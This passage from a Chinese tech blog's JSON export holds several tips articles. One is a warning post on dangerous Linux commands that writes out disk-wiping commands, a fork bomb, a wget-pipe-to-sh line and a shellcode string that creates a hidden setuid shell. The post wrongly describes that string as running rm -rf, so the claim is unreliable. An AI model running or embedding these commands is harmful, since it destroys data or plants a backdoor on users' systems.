的軟體，就不需要使用 exiftool 了，像 Mac OS X 的預覽程式就可以直接查看 EXIF：\n如果您的相機並不會將快門數寫進照片的 EXIF，那就要直接從相機的工程模式來查看了。\n從相機的工程模式查看快門數 進入相機工程模式的方法每一台相機都不一樣，通常建議直接上 Google 查尋，以自己的相機型號加上「快門數」來查詢，通常就可以找到。\n以下是我的 Olympus E-520 數位單眼相機進入工程模式查看快門數的步驟示範。\nStep 1\n開啟電源，打開記憶卡槽。\nStep 2\n按下 MENU + OK，出現 E-520 字樣。\nStep 3\n依序按下「上」、「下」、「左」、「右」、「快門」，再按「上」，出現工程模式選單。\n第一頁的 L 是鏡頭代號，1305 1220 是 Olympus 14-42mm f/3.5-5.6，1022 1200 是 40-150mm f/4-5.6。\n第二頁的資料如下：\nR：快門釋放次數。 S：閃光次數（AF 輔助閃光不算在內）。 C：CMOS 清潔模式（反光鏡鎖定）使用次數 U：超音波除塵次數（開機次數）。 V：LiveView 使用次數。 B：IS 防手震啟動拍照次數。 第三頁的 CS 是機身序號。\n解讀相機快門數 查到快門數之後，接下來就是要依據這個快門數來判斷相機的狀況，當然如果您查到的快門數是 500，那很顯然這台相機還很新，而如果是 500,000，那麼這台應該已經用很久了。\n現在一般的單眼相機，快門數應該都可以用到 50,000 以上，好一點的甚至到 100,000 以上都沒問題（像 Canon 5D Mark），在 Camera Shutter Life Expectancy Database 網站上有各種相機的快門數統計，透過這個資訊可以看出自己的相機大概可以用到多少快門數。\n以我的 Olympus E-520 來說，這個數據中壞掉的五台相機中，有四台其快門數都在 50,000 以下，看起來我這台相機用到現在還安然無事，算是很幸運了。\n當然這個數據只能作為參考，不是絕對的，有時候也參雜一些運氣的成分，不過如果在買一個二手相機時，應該是一個很有用的參考依據。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/how-to-check-a-dslr-shutter-count-and-why-you-should-care/","summary":"\u003cp\u003e這裡介紹如何查看數位單眼相機的快門數，以及它的重要性。\u003c/p\u003e\n\u003cp\u003e如果要買二手車，我們一定會注意車子的里程數，而在買二手的數位單眼相機時，一定要看的就是快門數（shutter count），以下我們介紹如何檢查相機的快門數，以及它的重要性。\u003c/p\u003e","title":"如何查看數位單眼相機的快門數？買二手相機一定要注意的事情"},{"content":"這裡介紹如何不用更改檔案名稱就可以在 Linux 的檔案總管中隱藏檔案或目錄。\n在 Linux 系統中，我們都知道如果要隱藏一個檔案或是目錄，只要將其檔案名稱改成以句點開頭（例如 .hidden_file），就可以讓檔案總管不顯示這個檔案或是目錄。\n不過有時候我們會希望隱藏一個檔案或是目錄，但是卻不想要將它重新命名，或是隱藏一些無法重新命名的檔案或目錄，例如 Linux 的桌面環境會在使用者的家目錄中自動建立一些預設的目錄，例如 Documents 等（如果是中文的環境，就會是 文件），當您打開自己的家目錄時，就會像這樣有一大堆雜亂的目錄。\n如果您不想要看到一大堆自己用不到的檔案或目錄，可以在這個目錄下建立一個名稱為 .hidden 檔案，而檔案的內容就填入想要隱藏的檔案或是目錄的名稱，舉例來說，架設我們要隱藏 文件、公共、模板 這三個目錄，.hidden 的內容就填入：\n文件 公共 模板 一行一個檔案或是目錄名稱。填好存檔之後，在檔案總管中按下 F5 或是 Ctrl + r 重新整理，這樣這些被指定的檔案或是目錄就會不見了。\n這個方法適用於 Nautilus、Nemo、Caja、Thunar 與 Pantheon Files 這些檔案管理程式，所以大部份常用的 Linux 發行版都可以使用。\n參考資料 Web Upd8 ","permalink":"https://blog.gtwang.org/linux/how-to-hide-files-and-folders-in-linux-file-manager/","summary":"\u003cp\u003e這裡介紹如何不用更改檔案名稱就可以在 Linux 的檔案總管中隱藏檔案或目錄。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統中，我們都知道如果要隱藏一個檔案或是目錄，只要將其檔案名稱改成以句點開頭（例如 \u003ccode\u003e.hidden_file\u003c/code\u003e），就可以讓檔案總管不顯示這個檔案或是目錄。\u003c/p\u003e","title":"如何在 Linux 檔案總管中隱藏檔案或目錄，不需要更改檔案名稱？"},{"content":"這裡討論為什麼 bzip2 壓縮格式會漸漸被 xz 取代？那 gzip 又如何？\n在 UNIX/Linux 社群中，傳統上如果要壓縮檔案通常都是使用 tar 加上 gzip 的壓縮方式，而後來 gzip 漸漸被 bzip2 所取代，而現在有越來越多人改用以 LZMA2 為基礎的 xz 來壓縮 tar 檔，連 kernel.org 也從 2013 年的年底開始，同時採用 tar.gz 與 tar.xz 兩種壓縮格式釋出 Linux 核心原始碼，而位於首頁的超連結則是直接使用 tar.xz 這個格式，以往的 tar.bz2 則是直接被捨棄。\n放在網路上提供大家下載的資料，在選擇壓縮格式的時候，通常都會考慮以下幾點因素：\n壓縮率（compression ratio），也就是能夠將檔案壓到多小。 解壓縮所需要的時間，也就是需要的 CPU 計算量。 解壓縮所需要的記憶體空間。 相容性（compatibility），亦即解壓縮程式的普遍性，是不是大部分人都可以有辦法解壓縮這種格式？ 解壓縮所需要的時間與記憶體空間通常不是重點，因為使用者可以選擇比較好的電腦來解壓縮，而且解壓縮的動作只需要一次，就算解壓縮的過程比較慢一些，通常也都是在可接受的範圍之內。\n剩下的就是壓縮率以及相容性的問題，傳統上的 gzip 無庸置疑是相容性最好的壓縮格式，現在應該每一種 UNIX/Linux 系統都可以解壓縮這種格式，所以如果若要確保每一位使用者都可以解壓縮，gzip 是首選。\n而在壓縮率上，最新的 tar.xz 壓縮率是最好的，不過它跟 tar.bz2 比較起來，雖然 CPU 用的比較少，不過卻需要較大的記憶體空間 （當然需要的記憶體跟壓縮的參數會有相關，壓縮率設定比較高時，所需要的記憶體也會比較多），而且普及率也比較低。\n基於以上的原因，我們會有以下的結論：\n需要在記憶體很小的機器（如小於 128 MB）上解壓縮時，則選擇 gzip 格式。 需要在很簡單、沒有什麼工具可用的機器上解壓縮時，則選擇 gzip 格式。 需要節省網路頻寬、縮短下載所需要的時間時，則選擇 xz 格式。 由於在這幾種狀況下，bzip2 通常都不是首選，所以後來 bzip2 就被淘汰了。\n以下是三種壓縮格式的指令，給大家參考。\ntar.gz 壓縮 tar.gz：\ntar zcvf file_name.tar.gz dir_name 解壓縮 tar.gz：\ntar zxvf file_name.tar.gz tar.bz2 壓縮 tar.bz2：\ntar jcvf file_name.tar.bz2 dir_name 解壓縮 tar.bz2：\ntar jxvf file_name.tar.bz2 tar.xz 壓縮 tar.xz：\ntar Jcvf file_name.tar.xz dir_name 解壓縮 tar.xz：\ntar Jxvf file_name.tar.xz 參考資料 Stack Exchange ","permalink":"https://blog.gtwang.org/linux/linux-why-are-tar-archive-formats-switching-to-xz-compression-to-replace-bzip2-and-what-about-gzip/","summary":"\u003cp\u003e這裡討論為什麼 \u003ccode\u003ebzip2\u003c/code\u003e 壓縮格式會漸漸被 \u003ccode\u003exz\u003c/code\u003e 取代？那 \u003ccode\u003egzip\u003c/code\u003e 又如何？\u003c/p\u003e\n\u003cp\u003e在 UNIX/Linux 社群中，傳統上如果要壓縮檔案通常都是使用 \u003ccode\u003etar\u003c/code\u003e 加上 \u003ccode\u003egzip\u003c/code\u003e 的壓縮方式，而後來 \u003ccode\u003egzip\u003c/code\u003e 漸漸被 \u003ccode\u003ebzip2\u003c/code\u003e 所取代，而現在有越來越多人改用以 LZMA2 為基礎的 \u003ccode\u003exz\u003c/code\u003e 來壓縮 \u003ccode\u003etar\u003c/code\u003e 檔，連 kernel.org 也從 2013 年的年底開始，同時採用 \u003ccode\u003etar.gz\u003c/code\u003e 與 \u003ccode\u003etar.xz\u003c/code\u003e 兩種壓縮格式釋出 Linux 核心原始碼，而位於首頁的超連結則是直接使用 \u003ccode\u003etar.xz\u003c/code\u003e 這個格式，以往的 \u003ccode\u003etar.bz2\u003c/code\u003e 則是直接被捨棄。\u003c/p\u003e","title":"Linux 中最佳的壓縮格式：為什麼 bzip2 會被 xz 取代？那 gzip 又如何？"},{"content":"這裡介紹使用 Google 相簿電腦版上傳工具，自動備份所有的照片與影片，完全沒有容量限制！\n今年的 Google I/O 研討會發佈了全新的 Google 相簿服務，可以免費無限量儲存 1600 萬畫素照片與 1080p 的影片，如果您的電腦中有許多舊的照片或是影片，放了好久捨不得刪掉，但是硬碟空間又不夠，就可以將他們全部備份到 Google 相簿上，而且對於一般相機所拍攝的照片而言，畫質都不會有太大的影響。\n以下是 Google 相簿電腦版上傳工具在 Mac 中的使用方式，而 Windows 版的使用方式大概也都差不多。\nStep 1\n從 Google 相簿官方網站下載電腦版上傳工具，然後執行安裝，安裝過程很簡單，就跟一般的軟體一樣。\nStep 2\n安裝完成後執行安裝好的 Google 相簿上傳工具。\nStep 3\n用自己的 Google 帳號登入。\nStep 4\n如果有啟用兩階段的認證，就要輸入手機認證碼。\nStep 5\n選擇要使用的 Google 帳戶。\nStep 6\n設定備份的選項，Google 相簿會自動將所有備份來源中的相片與影片上傳到 Google 相簿中，而相片的尺寸建議選擇「高畫質」就好，這樣就沒有容量限制，要傳多少都沒問題。\nStep 7\n設定完成之後，在系統的圖示列中，就會出現一個 Google 相簿的圖示，從這裡可以看到目前的備份狀態。\nStep 7\n如果要調整備份的設定，也可以從「偏好設定」中調整。\n如果您想要備份外接式硬碟中的照片，可以將硬碟插上電腦之後，把外接式硬碟的路徑加入備份來源，這樣他就會自動把所有外接式硬碟的照片上傳到 Google 相簿了。\n我自己是把三、四年來，大約兩百多 GB 的照片一次放給它傳，它的傳輸速度似乎有經過控制，以非常慢的速度在背景傳輸，不會影響到正常工作。\n","permalink":"https://blog.gtwang.org/useful-tools/google-photo-app-upload-tool/","summary":"\u003cp\u003e這裡介紹使用 Google 相簿電腦版上傳工具，自動備份所有的照片與影片，完全沒有容量限制！\u003c/p\u003e\n\u003cp\u003e今年的 Google I/O 研討會發佈了全新的 \u003ca href=\"https://photos.google.com/\"\u003eGoogle 相簿\u003c/a\u003e服務，可以免費無限量儲存 1600 萬畫素照片與 1080p 的影片，如果您的電腦中有許多舊的照片或是影片，放了好久捨不得刪掉，但是硬碟空間又不夠，就可以將他們全部備份到 Google 相簿上，而且對於一般相機所拍攝的照片而言，畫質都不會有太大的影響。\u003c/p\u003e","title":"Google 相簿電腦版上傳工具，自動備份所有的照片與影片"},{"content":"這裡蒐集了一些在 Linux 系統上比較具有危險性的指令，使用時要多加注意。\nLinux 可以透過指令做很多事情，許多資深的 Linux 使用者甚至都只用指令在工作，而不使用圖形化的介面，善用 Linux 的指令的確可以讓您的生活更輕鬆。\n雖然 Linux 的指令很強大，但是有一些指令卻是具有危險性的，以下我們介紹幾個需要特別注意的指令，並不是說它們不可以執行，只是在您執行之前，請經過再三確認後，否則後果可能不堪設想。\nrm 刪除檔案指令 rm -rf 是用來遞迴刪除檔案與目錄的指令，這個應該是最常被 Linux 使用者誤用的指令，有時候不小心下錯指令，就會造成誤刪檔案的問題，特別是在使用管理者（root）權限時，請不要隨便執行以下這幾種指令：\nrm -rf /：刪除整個根目錄以下的所有檔案與目錄，也就是把整個系統都刪除了。 rm -rf *：刪除目前目錄以下的所有檔案與目錄。 rm -rf .：刪除目前目錄以及目前目錄以下的所有檔案與目錄。 如果您想要多做一些防護措施，避免自己打錯指令而誤刪檔案，可以在 ~/.bashrc 中加入一個 alias：\nalias rm=\u0026#39;rm -i\u0026#39; 這樣每次 rm 在真正刪除檔案之前，都會先進行確認，例如刪除一個 test.txt 檔案：\nrm test.txt 如果有設定這個 alias 的話，就會出現這樣的訊息：\nrm：是否移除普通檔案‘test.txt’? 輸入 y 並按下 Enter 鍵之後，才會實際刪除檔案，這樣可以減低誤刪檔案的機會，但是這個方法並不適用於加上 -f 參數的狀況，縱使設定了這個 alias，您還是要小心注意自己的指令。\nFork 炸彈（Fork Bomb） Fork 炸彈是透過定義一個名為 : 的函數，並且不斷的遞迴呼叫自己，直到系統滿載並且當機。\n# fork 炸彈 :(){:|:\u0026amp;};: 這個指令平常沒有什麼實質用處，只有在測試系統時可能會用到而已。\n刪除整顆硬碟的資料 這個指令會將 COMMAND 執行的輸出導到第一顆硬碟中（/dev/sda）\nCOMMAND \u0026gt; /dev/sda 不管這裡的 COMMAND 是什麼指令，這樣做都會造成整顆硬碟的資料被刪除。\n當然這是要在使用管理者權限時，才會出現的危險，一般使用者並沒有直接寫入 /dev/sda 的權限，就沒有這個問題。\n執行來路不明的指令稿 這個指令會從網路上下載指令稿，並且直接執行它：\nwget http://malicious_source -O- | sh wget 下載下來的東西，直接透過管線（pipe）丟給 sh 執行，除非您很確定這個網址上面的東西是安全的，否則別這麼做，萬一執行到惡意程式就麻煩了。\n格式化硬碟 這個指令會將第一顆硬碟格式化：\n# 格式化硬碟 mkfs.ext3 /dev/sda 硬碟格式化之後，所有的資料就會被刪除，這應該是大家都知道的，嚴格說來這也不是什麼危險指令，通常新的硬碟都會做這個動作，只是使用時要小心一點，別下錯指令，或是弄做顆硬碟。\n清空檔案 這個指令會將 file.txt 檔案內容清空：\n# 清空檔案 \u0026gt; file.txt 由於它的指令非常簡短，比較容易不小心就打錯，所以在使用時要小心，否則清了不該清的設定檔就糟糕了。\ndd 指令 這個指令會將硬碟的資料刪除，並替換為亂數的垃圾資料：\ndd if=/dev/random of=/dev/sda 這個指令大概只有在報廢硬碟之前會用到，其他的時候應該都不會這樣用。\n隱藏的危險指令 下面這段 C 語言的程式碼中，隱藏了一個 rm -rf 指令：\nchar esp[] __attribute__ ((section(\u0026#34;.text\u0026#34;))) /* e.s.p release */ = \u0026#34;\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\u0026#34; \u0026#34;\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\u0026#34; \u0026#34;\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\u0026#34; \u0026#34;\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\u0026#34; \u0026#34;\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\u0026#34; \u0026#34;\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\u0026#34; \u0026#34;\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\u0026#34; \u0026#34;cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;\u0026#34;; 如果將其編譯後再執行，他會刪掉根目錄下面所有的檔案，但是從表面上看不出來都的危險性，所以如果從網路上下載一些程式時，都要自己注意一下來源是否可以信任，不要隨便編譯與執行來路不明的程式。\n參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/most-dangerous-commands-you-should-never-execute-on-linux/","summary":"\u003cp\u003e這裡蒐集了一些在 Linux 系統上比較具有危險性的指令，使用時要多加注意。\u003c/p\u003e\n\u003cp\u003eLinux 可以透過指令做很多事情，許多資深的 Linux 使用者甚至都只用指令在工作，而不使用圖形化的介面，善用 Linux 的指令的確可以讓您的生活更輕鬆。\u003c/p\u003e","title":"幾個最危險的 Linux 指令，絕對不可以隨便執行！"},{"content":"現在新電腦大概都已經配備有 USB 3.0 的插槽了，但是舊的隨身碟都是 USB 2.0 的，我們到底需不需要升級我們的隨身碟呢？\n雖然我們都知道 USB 3.0 的傳輸速度會比較快，但是通常一個隨身碟都可以用很久，許多以前的 USB 2.0 隨身碟一直用都不會壞，有些甚至都有終身保固，要更換的話就覺得有點可惜，以下我們討論這個問題。\n如何判斷 USB 2.0 與 USB 3.0？ USB 3.0 的接頭都是藍色的，而舊的 USB 2.0 則是黑色的，所以只要看到接頭是藍色的，就可以知道這個是 USB 3.0 的裝置。\n理論速度 USB 是一個訊號傳輸速度的標準，USB 2.0 的理論最高傳輸速度為每秒 480 megabits，而 USB 3.0 的速度則為每秒 5 gigabits，所以理論上 USB 3.0 會比 USB 2.0 快上十倍。\n如果 USB 3.0 真的可以比 USB 2.0 快上十倍，我想大家應該都會直接更換 USB 3.0 的隨身碟，但是事實上的狀況沒有那麼單純。\n由於 USB 所規定的是「最快」的資料傳輸速度，而資料的實際傳輸速度還會受到許多其他因素的影響，例如隨身碟本身的快閃記憶體（flash）的讀寫速度等，也就是說就算是符合 USB 3.0 標準的隨身碟，傳輸速度也不見得可以達到 USB 3.0 所規定的理論上限值。\n實際測試 在 Tom’s Hardware 的測試報告中，列出了非常多 USB 設備的測試數據，大部分是 USB 3.0 的，而少數幾個是 USB 2.0 的。\n在這份測試報告中，USB 2.0 設備資料寫入速度是 7.9 MB/s 到 9.5 MB/s 左右，而 USB 3.0 的速度則是從 11.4 MB/s 到 286.2 MB/s，儘管最慢的 USB 3.0 設備都比 USB 2.0 還要快，但是 USB 3.0 設備的速度差異真的很大，最快的 USB 3.0 設備寫入速度是 USB 2.0 的 28 倍。\n這個狀況就好像高速公路規定速限是時速 100 公里，但是如果你的車子不夠好，只能跑到時速 60 公里，那麼雖然是走高速公路，但是事實上只有一般道路的速度。\n價格考量 很顯然的，最慢的那個 USB 3.0 隨身碟是最便宜的，而最快的那一個當然價格就比較高（使用四通道傳輸），一分錢一分貨，這種狀況也是很合理的。\n使用者在挑選隨身碟的時候，可以衡量自己的用途，如果只是偶爾傳個檔案用的，而且檔案不大的話，買 USB 2.0 的大概就夠用了，而且通常也比較便宜，而如果常常要傳大檔案的話，就要挑一個 USB 3.0 的隨身碟比較適合。\n在挑選隨身碟時，記得要看一下官方標示的傳輸速度，因為同樣是 USB 3.0 的隨身碟，速度差異也可能會很大（當然在價格上應該也看得出來），若是找的到第三方的測試報告來參考就更好了，因為有時候官方的數據不見得很客觀。\n總而言之，USB 3.0 只是一個傳輸速度上限的標準，並不是傳輸速度的保證，別因為看到 USB 3.0 的隨身碟，就感覺它一定很快，所以在選擇隨身碟的時候，還是以實際標示的傳輸速度與價格來衡量，這樣比較容易挑選到適合自己的隨身碟。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/usb-2-vs-usb-3-should-you-upgrade-your-flash-drives/","summary":"\u003cp\u003e現在新電腦大概都已經配備有 USB 3.0 的插槽了，但是舊的隨身碟都是 USB 2.0 的，我們到底需不需要升級我們的隨身碟呢？\u003c/p\u003e\n\u003cp\u003e雖然我們都知道 USB 3.0 的傳輸速度會比較快，但是通常一個隨身碟都可以用很久，許多以前的 USB 2.0 隨身碟一直用都不會壞，有些甚至都有終身保固，要更換的話就覺得有點可惜，以下我們討論這個問題。\u003c/p\u003e","title":"USB 2.0 與 USB 3.0 的速度比較：我需要升級隨身碟嗎？"},{"content":"Android 手機不見了怎麼辦？這裡介紹各種定位 Android 手機位置的方法，不用安裝任何 App 即可立即使用。\n現代人幾乎人人都有智慧型手機，手機拿來拿去，有時候難免會有找不到手機的窘境，如果掉在家裡倒是還好，撥一下手機的電話號碼，大概很容易就可以找到，但是若是掉在外面，那可就麻煩了。\n以下我們針對 Android 手機，介紹幾個定位手機的方法，只要您的手機可以上網，就可以透過網頁定位出手機的位置，而且不需要事先安裝任何 App 即可立即使用。\nAndroid 裝置管理員 Android 裝置管理員可以讓您透過網頁直接與自己的 Android 手機連線，並且定位出目前手機的所在位置，甚至對手機進行一些操作，例如讓手機以最大聲的音量響鈴、鎖定手機或是清除手機上的資料等。\n名稱：Android 裝置管理員\n網址：https://www.google.com/android/devicemanager\nAndroid 裝置管理員的使用方式非常簡單，只要用自己的 Google 帳號登入之後，他就會自動定位出所有的手機位置，並且很清楚地在地圖上標示出來。\n鎖定或是清除手機資料的功能需要在手機上手動啟用後才能使用，如果您想要在手機遺失的時候，遠端鎖定或是清除手機上的資料，就要事先在手機上啟用這個功能。\n在系統的安全和隱私設定中，有一個 Android 裝置管理員的設定，在這裡就可以啟用這個功能。\nGoogle 定位紀錄 Google 定位紀錄是另一個可以查看手機位置的工具，雖然他不是設計用來找尋遺失手機的服務，但是由於它會紀錄手機移動的軌跡，所以如果您的手機剛好被人撿走，這裡所紀錄的資料將會是非常有用的線索。\n名稱：Google 定位紀錄\n網址：https://maps.google.com/locationhistory\nGoogle 定位紀錄同樣也是用 Google 帳號登入之後，即可立即查看所有手機的定位軌跡。\n如果透過各種方式始終還是找不到手機的話，最好就要先去掛失，若是確定手機被偷走的話，可以考慮查詢手機的 IMEI 碼再報警處理。\n參考資料 addictivetips ","permalink":"https://blog.gtwang.org/mobile/how-to-track-your-lost-android-phone-without-tracking-app/","summary":"\u003cp\u003eAndroid 手機不見了怎麼辦？這裡介紹各種定位 Android 手機位置的方法，不用安裝任何 App 即可立即使用。\u003c/p\u003e\n\u003cp\u003e現代人幾乎人人都有智慧型手機，手機拿來拿去，有時候難免會有找不到手機的窘境，如果掉在家裡倒是還好，撥一下手機的電話號碼，大概很容易就可以找到，但是若是掉在外面，那可就麻煩了。\u003c/p\u003e","title":"Android 手機不見了怎麼辦？不用安裝 App 即可定位手機位置的方法"},{"content":"這裡整理了五個可以測試與分析網站載入速度的免費線上工具。\n一個網站的速度會直接影響到使用者體驗，在開啟網站時，如果讓訪客等待的時間過長，除了給人不好的觀感之外，也還會造成訪客流失的問題。\n以下幾個免費的線上工具，可以讓您檢測自己的網站載入速度，在進行網站最佳化之前，可以先用這些工具檢查一次，看看自己的網站表現如何，找出關鍵的瓶頸所在。\nGoogle PageSpeed Insights Google 所提供的 PageSpeed Insights 網頁檢測工具可以幫您同時檢測一般瀏覽器與手機版網頁的載入狀況。\n名稱：PageSpeed Insights\n網址：https://pagespeed.web.dev/\n輸入網址即可進行檢測。\n檢測結果會有評分以及相關的改善方針。\nPingdom Website Speed Test Pingdom Website Speed Test 跟 Google PageSpeed Insights 類似，不過它的報表非常詳細，而且可以選擇測試伺服器的地理位置，您可以透過這個工具看看自己的網站在世界各地的載入狀況。\n名稱：Pingdom Website Speed Test\n網址：https://tools.pingdom.com/\n輸入網址即可進行檢測。\n非常詳細的報表。\nGTmetrix GTmetrix 也是一個專業的檢測工具，他在檢測完之後，同樣會給出結果的報表與一些改善建議。\n名稱：GTmetrix\n網址：https://gtmetrix.com/\nWebPagetest WebPagetest 是另一個可以選擇測試地理位置的免費服務。\n名稱：WebPagetest\n網址：https://www.webpagetest.org/\nYSlow YSlow 是一個測試網站速度用的瀏覽器 plugin。\n名稱：YSlow\n網址：https://yslow.org/\n目前主流的瀏覽器 YSlow 都有支援。\n這是測試報表。\n","permalink":"https://blog.gtwang.org/web-development/tools-for-testing-website-performance-speed/","summary":"\u003cp\u003e這裡整理了五個可以測試與分析網站載入速度的免費線上工具。\u003c/p\u003e\n\u003cp\u003e一個網站的速度會直接影響到使用者體驗，在開啟網站時，如果讓訪客等待的時間過長，除了給人不好的觀感之外，也還會造成訪客流失的問題。\u003c/p\u003e","title":"五個測試網站效能的免費工具"},{"content":"CC Search 是創用 CC 官方網站所提供的搜尋工具，可以用來尋找免費的圖庫、影片與音樂。\n一般的部落客或是網站設計者在撰寫文章時，為了提升文章整體的感覺，通常都會放一些插圖或是示意用的照片，但是一般人都不會有那麼多的圖片或照片可以放，上網下載的圖又會擔心著作權問題，自己拍照那更是曠日廢時。\n創用 CC（Creative Commons）是一種免費分享的授權方式，一般來說只要標示作者的姓名以及遵循作者所指定的一些大原則，就可以免費使用，不需要擔心違反著作權，放在自己的網站或部落格中也沒有問題，這個授權的出現讓許多的網站如魚得水，只要是看到創用 CC 授權的東西，就可以大膽放心用。\n創用 CC 官方網站所提供的 CC Search 工具，可以讓您很方便的透過種網站搜尋各種以創用 CC 授權的多媒體資料。\n名稱：CC Search\n網址：https://search.creativecommons.org/\n只要在 CC Search 的網頁中輸入要搜尋的關鍵字，再選擇要搜尋的網站，就可以輕鬆找到非常多以創用 CC 授權的影片、圖片以及音樂。\nFlickr 上面有很多高品質的圖片，用這個工具找到的圖都可以很放心的直接拿來貼在自己的網站中，只是要記得標示一下作者。\nGoogle 上面的圖也非常多。\n另外 Pixabay 也是一個不錯的圖片搜尋網站。\n除了圖片之外，可以已透過 YouTube 搜尋創用 CC 授權的影片。\nSoundCloud 上面也有許多創用 CC 授權的音樂。\n由於 CC Search 是由創用 CC 官方網站所提供的工具，所以比較不必擔心誤用具有著作權的資料，通常大部分的創用 CC 只要標示作者，就可以放心使用，就像這樣：\nCredit: Dustin Gaffke\n有些資料會禁止商業行為、禁止改作，或是修改之後必須以相同的方式分享，而這些對於一般的部落格只是單純貼圖而言，都不會有問題，大可放心使用。\n","permalink":"https://blog.gtwang.org/web-development/cc-search-find-free-photo-video-music/","summary":"\u003cp\u003eCC Search 是創用 CC 官方網站所提供的搜尋工具，可以用來尋找免費的圖庫、影片與音樂。\u003c/p\u003e\n\u003cp\u003e一般的部落客或是網站設計者在撰寫文章時，為了提升文章整體的感覺，通常都會放一些插圖或是示意用的照片，但是一般人都不會有那麼多的圖片或照片可以放，上網下載的圖又會擔心著作權問題，自己拍照那更是曠日廢時。\u003c/p\u003e","title":"CC Search：創用 CC 搜尋工具，尋找免費圖庫、影片與音樂"},{"content":"這裡透過簡單的 Hello, World 範例，介紹 Google Maps JavaScript API 的基本使用方式。\nGoogle Maps JavaScript API 是設計給網頁開發者所使使用的開發工具，您可以使用這個 API 將 Google 地圖安插在自己的網頁中，並且將自己的資料放在地圖上面呈現。\n以下是 Google Maps JavaScript API 的 Hello, World 入門使用教學。\n取得 API 金鑰 只要是需要使用到 Google 地圖 API 的應用程式，都會需要一個 API 金鑰，如果您沒有申請過 API 金鑰，請參考從 Google Developers Console 取得開發者用的 API 金鑰。\n這個 API 金鑰除了可以讓應用程式使用 Google API 所提供的服務之外，也是紀錄使用量的依據，每一個應用程式專案有一定的配額限制，若是使用量太大以致於超出配額，就必須要付費另外購買配額。\nHello, World 這是一段 Google 地圖 API 的 Hello, World 程式碼：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; html, body, #map-canvas { height: 100%; margin: ; padding: ;} \u0026lt;/style\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;https://maps.googleapis.com/maps/api/js?key=API_KEY\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function initialize() { var mapOptions = { center: { lat: -34.397, lng: 150.644}, zoom: 8 }; var map = new google.maps.Map( document.getElementById(\u0026#39;map-canvas\u0026#39;), mapOptions); } google.maps.event.addDomListener( window, \u0026#39;load\u0026#39;, initialize); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;map-canvas\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 以下是各個重點說明。\n宣告 HTML5 網頁應用程式 這裡在一開始加入的\n\u0026lt;!DOCTYPE html\u0026gt; 是用來宣告這個網頁是屬於最新的 HTML5 格式，這樣可以確保瀏覽器使用標準模式（standards mode）來處理這個網頁，若是沒有加上這一行，或是無法解析這一行的瀏覽器，就以怪癖模式（quirks mode）來顯示網頁，這會造成一些 CSS 無法正常運作。\n而有一些在怪癖模式中可以正常顯示的 CSS，反而在正常模式中會有問題，例如所有的以百分比為基礎的大小，都必需繼承自其父元素，如果其父元素中有任何一個無法判定大小，那麼該元素的大小就會變成 0 x 0 像素，為了解決這個問題，所以我們加入了這段 CSS 程式碼：\n\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; html { height: 100% } body { height: 100%; margin: ; padding: } #map-canvas { height: 100% } \u0026lt;/style\u0026gt; 這裡指定 map-canvas 這個 \u0026lt;div\u0026gt; 的高度為 100%，這裡要注意 \u0026lt;body\u0026gt; 與 \u0026lt;html\u0026gt; 的高度也要明確指定，不可省略。\n引入 Google Maps API 在引入 Google Maps API 時，必需傳入自己的 API 金鑰，實際使用時要把上面的 API_KEY 替換為自己的金鑰，就像這樣：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;https://maps.googleapis.com/maps/api/js?key=AIzaSyAUOrXGoWf6bt5U4qgfvtFIiz-_Hp_Oc4s\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; Google 地圖所有的 API 都可以透過 https 加密連線的方式引入，如果您有需要一般的 http 協定，也可以使用 https://maps.googleapis.com/，而若是中國大陸的使用者，則必須改為 https://maps.google.cn/。\n在引入 Google Maps API 時，可以在 URL 中使用 libraries 參數加入一些額外的功能，其使用方式可以參考 Libraries。\n非同步載入（Asynchronously Loading）API 如果想要使用非同步載入的方式，讓 Google 地圖的 API 延後載入，不要讓 API 拖慢整體網頁的速度，可以使用下面這樣的方式：\nfunction initialize() { var mapOptions = { zoom: 8, center: new google.maps.LatLng(-34.397, 150.644) }; var map = new google.maps.Map(document.getElementById(\u0026#39;map-canvas\u0026#39;), mapOptions); } function loadScript() { var script = document.createElement(\u0026#39;script\u0026#39;); script.type = \u0026#39;text/javascript\u0026#39;; script.src = \u0026#39;https://maps.googleapis.com/maps/api/js?v=3.exp\u0026#39; + \u0026#39;\u0026amp;signed_in=true\u0026amp;callback=initialize\u0026#39;; document.body.appendChild(script); } window.onload = loadScript; 這裡在載入 API 的 JavaScript 時，加入一個 callback 參數，指定在 API 完全載入後的回呼函數，透過這樣的方式確保 initialize() 會在 API 載入完成後執行。\n放置地圖的 DOM 元素 在使用 Google 地圖 API 時，我們需要保留一個顯示地圖用的地方，通常最常見的方式就是新增一個 \u0026lt;div\u0026gt; 元素，並且為的個元素命名，然後從 DOM 取得這個元素傳給 API：\n\u0026lt;div id=\u0026#34;map-canvas\u0026#34; style=\u0026#34;width: 100%; height: 100%\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 這裡我們可以自行利用 CSS 調整它的大小，Google 